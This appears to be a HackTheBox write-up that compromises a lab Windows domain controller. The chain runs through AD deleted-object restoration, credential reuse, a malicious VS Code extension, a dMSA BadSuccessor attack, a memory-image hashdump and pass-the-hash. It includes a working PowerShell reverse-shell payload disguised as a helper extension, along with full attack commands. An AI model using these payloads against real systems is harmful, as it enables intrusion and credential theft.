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MediumWindowsHackTheBox

Checkpoint: HackTheBox Writeup (Windows, Medium)

Windows Server 2025 Domain Controller chaining an AD ACL misconfiguration to restore a deleted account, credential reuse to land a malicious VS Code extension, a dMSA BadSuccessor attack to recover a service account hash, and Volatility memory forensics from a VM snapshot to reach Administrator.

2026-06-15

// Attack Chain

ACL write on Deleted Objects → restore tombstoned account → credential reuse → malicious .vsix on developer share → reverse shell → dMSA BadSuccessor → service account NT hash → VM memory image → Volatility hashdump → pass-the-hash → Domain Admin

Machine Overview

PlatformHackTheBox
Targetdc01.checkpoint.htb
Operating SystemWindows Server 2025 (Build 26100.32860)
RoleDomain Controller
Domaincheckpoint.htb
Starting credentialsalex.turner : Checkpoint2024!

Attack Chain Summary

CODE
alex.turner (Checkpoint2024!): write ACL on Deleted Objects container
        ↓
Restore tombstoned account: mark.davies
        ↓
Credential reuse → mark.davies : Checkpoint2024!
        ↓
DevDrop SMB share (READ/WRITE) → drop malicious .vsix
        ↓
Backend auto-installs extension → reverse shell as ryan.brooks  [USER FLAG]
        ↓
ryan.brooks: CreateChild on OU=DMSAHolder + GenericWrite on svc_deploy
        ↓
dMSA BadSuccessor (SharpSuccessor) → svc_deploy NT hash via previous keys
        ↓
svc_deploy → VMBackups share → NightlyBackup_2024-11-01 memory image
        ↓
Volatility hashdump on .vmem → Administrator NT hash
        ↓
Pass-the-hash (evil-winrm) → Domain Admin  [ROOT FLAG]

Attack Path Overview

A high-level view of the route, start to Domain Admin, without the spoilers:

  1. A misconfigured permission lets a low-privileged user bring a deleted account back to life.
  2. Reused credentials and a writable developer share turn that access into a real foothold through a malicious editor extension.
  3. A modern delegated Managed Service Account technique recovers the keys of a backup-capable service account.
  4. A forgotten virtual machine memory image gives up the Administrator hash, and a pass-the-hash finishes the domain.

Environment Notes (Hardening That Breaks Tooling)

This DC is locked down in ways that quietly break common tools. Set these straight before you start, or you will burn time on phantom failures.

BASH
sudo timedatectl set-ntp false
sudo ntpdate dc01.checkpoint.htb

Enumeration: BloodHound CE with RustHound-CE

Because LDAP signing is enforced, collect over Kerberos rather than a plain bind. Get a ticket for the starting user, then run RustHound-CE against the DC and zip the result for BloodHound Community Edition.

BASH
# Ticket for the starting user (clock must already be synced)
impacket-getTGT -dc-ip <IP> 'checkpoint.htb/alex.turner:Checkpoint2024!'
export KRB5CCNAME=alex.turner.ccache

# Collect with RustHound-CE over Kerberos, pin the DC, zip for ingest
rusthound-ce -d checkpoint.htb -k -f dc01.checkpoint.htb -i <IP> -z -o loot/

If you would rather authenticate with the password, force LDAPS so the signing requirement is satisfied by the encrypted channel:

BASH
rusthound-ce -d checkpoint.htb \
  -u alex.turner@checkpoint.htb -p 'Checkpoint2024!' \
  -f dc01.checkpoint.htb -i <IP> --ldaps -z -o loot/

Import the resulting .zip into BloodHound CE, mark alex.turner as Owned, and run the shortest-path queries. The graph surfaces the two relationships the whole box hangs on: write access over a deleted user object, and a GenericWrite from a later account onto a service account.


Foothold

1. Find what alex can write

alex.turner holds write access over a tombstoned account and a DACL write on the Deleted Objects container.

BASH
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb \
  -u alex.turner -p 'Checkpoint2024!' get writable --detail

2. Restore the deleted account

Recover the deleted object's sAMAccountName using the show-deleted control 1.2.840.113556.1.4.2064, then restore it:

BASH
bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb \
  -u alex.turner -p 'Checkpoint2024!' \
  get search --base 'CN=Deleted Objects,DC=checkpoint,DC=htb' \
  --filter '(isDeleted=TRUE)' --attr sAMAccountName,objectGUID

bloodyAD --host dc01.checkpoint.htb -d checkpoint.htb \
  -u alex.turner -p 'Checkpoint2024!' set restore 'mark.davies'

3. Credential reuse

The restored account reuses the starting password:

CODE
mark.davies : Checkpoint2024!

Always test reused passwords before reaching for AS-REP roasting or Kerberoasting, cracking the restored account here produces nothing.

4. Drop a malicious VS Code extension

mark.davies has READ and WRITE on the DevDrop share, and a backend process installs whatever extension lands there. Build a .vsix whose package.json declares a compatible engine and whose entry point spawns a reverse shell.

package.json:

JSON
{
  "name": "devdrop-helper",
  "publisher": "checkpoint",
  "version": "0.0.1",
  "engines": { "vscode": "^1.118.0" },
  "main": "./extension.js",
  "activationEvents": ["*"],
  "contributes": {}
}

extension.js:

JS
const cp = require("child_process");
function activate() {
  cp.exec("powershell -nop -w hidden -c \"$c=New-Object Net.Sockets.TCPClient('<LHOST>',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$sb=([Text.Encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}\"");
}
module.exports = { activate };

Package it (vsce package), start a listener, and upload:

BASH
nc -lvnp 443

smbclient //checkpoint.htb/DevDrop -U 'mark.davies%Checkpoint2024!' \
  -c 'put devdrop-helper.vsix'

The backend installs the extension and the listener catches a shell as ryan.brooks. Grab user.txt. Defender is disabled on the host, so no AMSI dance is needed.


Privilege Escalation: ryan.brooks → svc_deploy (BadSuccessor / dMSA)

ryan.brooks holds CreateChild on OU=DMSAHolder plus GenericWrite on svc_deploy. That is exactly the primitive a delegated Managed Service Account (dMSA) BadSuccessor attack needs.

Why the obvious attacks fail here

The working target is svc_deploy.

1. Create and weaponize the dMSA

Run this from the ryan.brooks shell. SharpSuccessor is LDAP-only, so it works even over an unstable shell:

POWERSHELL
.\ss.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:mark.davies /name:evildmsa /impersonate:svc_deploy

The /account: value is the principal allowed to retrieve the dMSA keys. Set it to mark.davies, it has clean credentials you can drive from Kali. Do not use ryan.brooks, which is shell-only and cannot perform the Kerberos and SSPI work.

2. Pull the svc_deploy hash from Kali

BASH
impacket-getTGT -dc-ip <IP> 'checkpoint.htb/mark.davies:Checkpoint2024!'
export KRB5CCNAME='mark.davies.ccache'

impacket-getST -k -no-pass -dc-ip <IP> \
  -impersonate 'evildmsa$' -self -dmsa 'checkpoint.htb/mark.davies'

The output includes the previous keys, which is the svc_deploy NT hash:

CODE
Previous keys:
  rc4_hmac: e16081eb077aca74bdbf8af12af43ac9

Use impacket's getST for this, Rubeus v2.3.3 does not print the previous keys. A KDC_ERR_POLICY error means the /account: principal does not match the identity you authenticated as.

3. Authenticate as the real svc_deploy

Only svc_deploy carries BackupAccess in its PAC, so authenticate as that account rather than as the dMSA:

BASH
netexec smb dc01.checkpoint.htb -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9 --shares
# VMBackups -> READ

evil-winrm -i <IP> -u svc_deploy -H e16081eb077aca74bdbf8af12af43ac9

Note: max.palmer is not a BadSuccessor path

The Domain Admin max.palmer is adminCount=1, so AdminSDHolder protects the object. On this patched DC the dMSA superseded-link write to a protected target is denied, confirmed by both SharpSuccessor (Access is denied) and bloodyAD. Changing /account: does nothing because the denial sits on the target's ACL via SDProp. The intended root path is the backup share, not max.palmer.


Root: VMBackups → Administrator

The VMBackups share maps to C:\Shares\VMBackups. Inside, NightlyBackup_2024-11-01\memory forensics\ holds a VMware snapshot of a Server 2019 VM: a 2 GB .vmem RAM image, a .vmsn, and a base plus delta .vmdk.

Run Volatility 3 hashdump against the complete .vmem:

BASH
vol -f "Windows Server 2019-Snapshot1.vmem" windows.hashdump.Hashdump
# Administrator  500  aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b

Pass the hash for root:

BASH
evil-winrm -i <DC_IP> -u Administrator -H f29e9c014295b9b32139b09a2790be3b
type C:\Users\Administrator\Desktop\root.txt

Troubleshooting: If the memory image passes windows.info but every structure-walking plugin (hivelist, hashdump) returns empty or reports a smear, suspect a truncated transfer before assuming the acquisition is bad. The .vmem is large and a slow link can cut the download silently, which looks identical to corruption. Compare your local file size against the share's reported size first, a clean re-pull parses on the first try.


Summary

StageTechnique
FootholdRestore a deleted AD object via a writable ACL, reuse credentials, deliver a malicious .vsix
Lateral / PrivescdMSA BadSuccessor to recover a service account NT hash
RootVolatility hashdump from a VM memory image, then pass-the-hash
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